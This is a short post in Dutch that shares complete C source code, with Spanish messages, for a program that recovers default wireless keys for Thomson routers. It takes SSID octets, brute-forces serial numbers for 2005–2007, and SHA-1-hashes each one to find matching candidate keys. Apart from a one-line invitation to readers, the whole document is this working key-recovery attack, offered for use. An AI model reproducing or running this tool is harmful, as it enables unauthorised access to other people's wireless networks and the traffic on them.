Voor mensen die zich vervelen:
broncode van het programma'tje
zelf ergens sha1.h vandaan googlen
#include <stdio.h>
#include <getopt.h>
#include "sha1.h"
#define SHA1Init SHA1Reset
#define SHA1Update SHA1Input
#define SHA1Final SHA1Result
#define SHA1_CTX SHA1Context
typedef unsigned char u8;
typedef unsigned int u32;
#define SERIAL_LENGTH 12
#define MAX_SSID_OCTETS 6
#define DEFAULT_KEY_SIZE 5
const u8 charTable[]="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const u8 hexTable[]="0123456789ABCDEF";
u8 serial[13]={'C','P','0',0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
#define hexmsb(x)(hexTable[((x & 0xf0) >> 4)])
#define hexlsb(x)(hexTable[ (x & 0x0f)])
void usage(char **argv) {
fprintf(stdout,"\n\tUso: %s [ -i <ssid octets> ] [ -o <output file> ]\n"
"\n\t -i : Los octetos hexadecimales del SSID del router Thomson"
"\n\t -o : Especificar el fichero de salida para las posibles claves"
"\n\t -v : Imprime en pantalla las posibles claves encontradas\n\n",*argv);
exit(0);
}
/*
* convert hexadecimal ssid string to binary
* return 0 on error or binary length of string
*
*/
u32 str2ssid(u8 ssid[],u8 *str) {
u8 *p,*q = ssid;
u32 len = strlen(str);
if( (len % 2) || (len > MAX_SSID_OCTETS) )
return(0);
for(p = str;(*p = toupper(*p)) && (strchr(hexTable,*p)) != 0;) {
if(--len % 2) {
*q = ((u8*)strchr(hexTable,*p++) - hexTable);
*q <<= 4;
}else {
*q++ |= ((u8*)strchr(hexTable,*p++) - hexTable);
}
}
return( (len) ? 0 : (p - str) / 2);
}
/*
* print 5 bytes to output file
*
*/
void dump_key(FILE *out, u8 *key) {
u32 i;
u8 *p = key;
for(i = 0;i < DEFAULT_KEY_SIZE;i++)
fprintf(out,"%.2X",*p++);
fprintf(out,"\n");
}
int main(int argc, char **argv) {
u8 sha1_digest[40]={0};
u8 ssid[8]={0},buf[8]={0},year,week,x1,x2,x3;
u32 keys = 0,ssidLen = 0,verbose = 0, opt = 0;
u8 *p,*q,*strId = NULL;
FILE *ofile = NULL;
SHA1_CTX sha1_ctx;
if(argc > 1) {
while( (opt = getopt(argc, argv,"vo:i:")) != -1) {
switch(opt) {
case 'i' :
strId = optarg;
break;
case 'o' :
if((ofile = fopen(optarg,"wb")) == NULL) {
fprintf(stderr,"\nNo puedo abrir %s para la salida.\n",optarg);
return(0);
}
break;
case 'v' :
verbose++;
break;
default:
usage(argv);
}
}
if(!strId) usage(argv);
if(!(ssidLen = str2ssid(ssid,strId))) usage(argv);
fprintf(stdout,"\nGenerando claves... por favor espera\n\n");
// generate values only for 2005/2007..change if you want.
for(year = 5;year <= 7;year++) {
serial[3] = year | '0';
// 52 weeks of the year
for(week = 1;week <= 52;week++) {
serial[4] = (week / 10) + '0';
serial[5] = (week % 10) + '0';
for(x1 = 0;x1 < 36;x1++) {
serial[6] = hexmsb(charTable[x1]);
serial[7] = hexlsb(charTable[x1]);
for(x2 = 0;x2 < 36;x2++) {
serial[8] = hexmsb(charTable[x2]);
serial[9] = hexlsb(charTable[x2]);
for(x3 = 0;x3 < 36;x3++) {
serial[10] = hexmsb(charTable[x3]);
serial[11] = hexlsb(charTable[x3]);
// hash serial number with sha-1
SHA1Init(&sha1_ctx);
SHA1Update(&sha1_ctx,serial,SERIAL_LENGTH);
SHA1Final(&sha1_ctx,sha1_digest);
// compare SSID octets with last number of bytes supplied
if(memcmp(&sha1_digest[(20-ssidLen)],ssid,ssidLen) == 0) {
keys++;
if(verbose) {
memcpy(buf,serial,6);
fprintf(stdout,
"Número de Serie: %s**%C%C%C - posible clave = ",
buf,charTable[x1],charTable[x2],charTable[x3]);
dump_key(stdout,sha1_digest);
}
if(ofile) {
dump_key(ofile,sha1_digest);
}
}
}
}
}
}
}
fprintf(stdout,"\nResultado: %d posibles claves.\n\n",keys);
if(ofile) fclose(ofile);
}
else {
usage(argv);
}
return(0);
}